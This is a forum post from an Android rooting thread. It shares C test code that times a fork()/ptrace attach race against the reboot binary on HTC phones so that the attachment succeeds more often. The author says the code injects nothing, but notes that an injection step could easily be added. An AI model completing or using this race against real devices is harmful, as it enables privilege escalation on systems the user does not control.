[Click Android Development] bftb0:
Hey mainfram3!

earlier today, bftb0 wrote:

Most of which turned out to be right... but on the wrong time scale!

I wrote some code to look at what the timing looked like when race was occurring ... and I'll be darned - it usually happens 50 msec (yes, milli-seconds!) or more after the call to fork(). Somtimes it happens as much as one tenth of a second later! (Even ignoring the ptrace() call, it still takes about 20-30 mSec after the fork for the parent process to come back to life - even if the phone is lightly loaded.)

It can be (optionally) tuned with a small config file - I played around with it on the Eris, and was able to consistently get 6-10% of ptrace() attachments to succeed by carefully tuning that delay loop, and it defaults to using 120,000 loops of that simple (integer add) loop. That kind of success rate should eliminate the need to "pound the phone until it pounds you" ;)

BTW, I did observe what you observed - if I was using no delay at all (or usec delays) in the parent after the fork, I would have to overload the phone and try to make it jump through hoops (start 10 apps and then use the dialer app or take multiple pictures with the camera) to win a few races. Basically, we were getting really low success rates because the parent was requesting the attachment way too early (on average).

Here's the testing code... note that it does not do any injection and is not an exploit (in case there are skids reading), although that could easily be spliced into the code if you wanted to add that in. I'm not too sure how many loops you should use with the Tattoo - experiment and find out.

As always, code is released under the fuqHax license.

bftb0

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/ptrace.h>
#include <asm/ptrace.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>

static struct globalvars {
int trials; /* number of child launches */
int ndelloops; /* number of iterations of basic delay loop */
int chkforktime; /* set true to report the elapsed time of fork() */
/* observed by the parent process */
} Gv;

static struct pt_regs regs;

/* declarations only - routines follow main() for easier reading */
int setconfig(const char *fname);
double timediff(struct timespec *start, struct timespec *finish);

int main(int argc, char **argv) {
int i,sumi;
int tcnt, nsuccess;
struct timespec ts0, ts1, ft; /* get clock info */
pid_t child;
char *args[] = {"reboot","-h",0};
char *envp[] = {"",0};
long ptret;
double delta_t;

/* read configuration file. Only three values can be set at the moment : */
/* Gv.trials : set in "config.fil" with: "TRIALS <integer>" */
/* Gv.ndelloops : " " " " : "N_DELAY_LOOPS <integer>" */
/* Gv.chkforktime :" " " " : "CHECK_FORKTIME" */
(void) setconfig("config.fil");

/* loop over all trials */
for (tcnt=nsuccess=0; tcnt < Gv.trials ; tcnt++) {
(void) clock_gettime((clockid_t) CLOCK_REALTIME, &ts0);
child = fork();
if(child == 0) {
execve("/system/bin/reboot",args,envp);
}
else if ( child != -1 ) { // parent process

/* by default this is off, unless you ask for it */
if (Gv.chkforktime) {
(void) clock_gettime((clockid_t) CLOCK_REALTIME, &ft);
}

/* Simple Delay Loop - fine grained. Make sure to use
* 'sumi' later so that the compiler doesn't optimize
* the loop away.
*/
for (i=sumi=0; i< Gv.ndelloops; i++) {
sumi += i;
}

if ((ptret = ptrace(PTRACE_ATTACH, child, NULL, NULL)) == 0) {

(void) clock_gettime((clockid_t) CLOCK_REALTIME, &ts1);
wait(0);
// kill(child, SIGKILL);
ptret = ptrace(PTRACE_DETACH, child, NULL,NULL);
(void) usleep((useconds_t) 100);
delta_t = timediff(&ts0, &ts1);
nsuccess++;
printf("GOT ATTACH @ trial # %d : Timing Loops: %d, Elapsed time: %9.4le fork()->ptrace() (inclusive)\n",
tcnt, Gv.ndelloops, delta_t);
fflush(stdout);
}

if (Gv.chkforktime) {
delta_t = timediff(&ts0, &ft);
printf("Parent returns from fork() in elapsed time: %9.4le\n", delta_t);
}

} /* ends parent process only activities */
else {
printf("FAILED fork() at trial # %d\n", tcnt);
fflush(stdout);
}

} /* end loop over all launch trials */

printf("%d successes in %d trials; number of basic timing loops was %d\n",nsuccess, Gv.trials, Gv.ndelloops);
printf("Note sumi was %d\n", sumi);
fflush(stdout);
exit(0);
return(0);
}

#define LSIZ 256
#define dbg_setconfig 1

#define OK_TRIALS 0x1
#define OK_NLOOPS 0x2
#define CHK_FORKTIME 0x4

int setconfig(const char *fname) {
unsigned retval;
FILE *infil;
char buf[LSIZ]; /* yeah, go ahead and sploit me */
char tok1[LSIZ];
char tok2[LSIZ];
char *cp;
int i;
retval = (OK_TRIALS | OK_NLOOPS);

/* set defaults in case they are not configured */
Gv.trials = 5000;
Gv.ndelloops = 120000; /* Perfect for the Desire/Eris at idle */
Gv.chkforktime = 0; /* don't check the fork time by default */

if ( (infil = fopen(fname,"r")) != 0 ) {
while ( fgets(buf, LSIZ, infil) ) {
buf[LSIZ-1] = '\0';
if ( (buf[0] == '#') || (sscanf(buf,"# %s", tok2) == 1) ) continue;

for (cp = buf, i = 0; i < LSIZ; i++ ) {
if ((*cp == '\n') || (*cp == '\0')) {
*cp = '\0';
break;
}
}

if ( sscanf(buf,"%s %s", tok1, tok2) == 1 ) {
if (!strcmp(tok1, "CHECK_FORKTIME")) {
Gv.chkforktime = 1;
}
}
if ( sscanf(buf,"%s %s", tok1, tok2) == 2 ) {
if (!strcmp(tok1, "TRIALS")) {
Gv.trials = atoi(tok2);
retval &= ~OK_TRIALS;
#if dbg_setconfig
printf("setconfig() TRIALS : %d\n", Gv.trials);
#endif
}
else if (!strcmp(tok1, "N_DELAY_LOOPS")) {
Gv.ndelloops = atoi(tok2);
retval &= ~OK_NLOOPS;
#if dbg_setconfig
printf("setconfig() N_DELAY_LOOPS : %d\n", Gv.ndelloops);
#endif
}

}
}
fclose(infil);
}

if (retval) {
printf("setconfig() WARNING: some default values were taken\n");
}
return((int) retval);
}

double timediff(struct timespec *start, struct timespec *finish) {
double retval;

retval=-1.0e+99;
if (!start || !finish) return(retval);
retval = 1.0e-9*((double)(finish->tv_nsec - start->tv_nsec));
retval += ((double)(finish->tv_sec - start->tv_sec));
return(retval);
}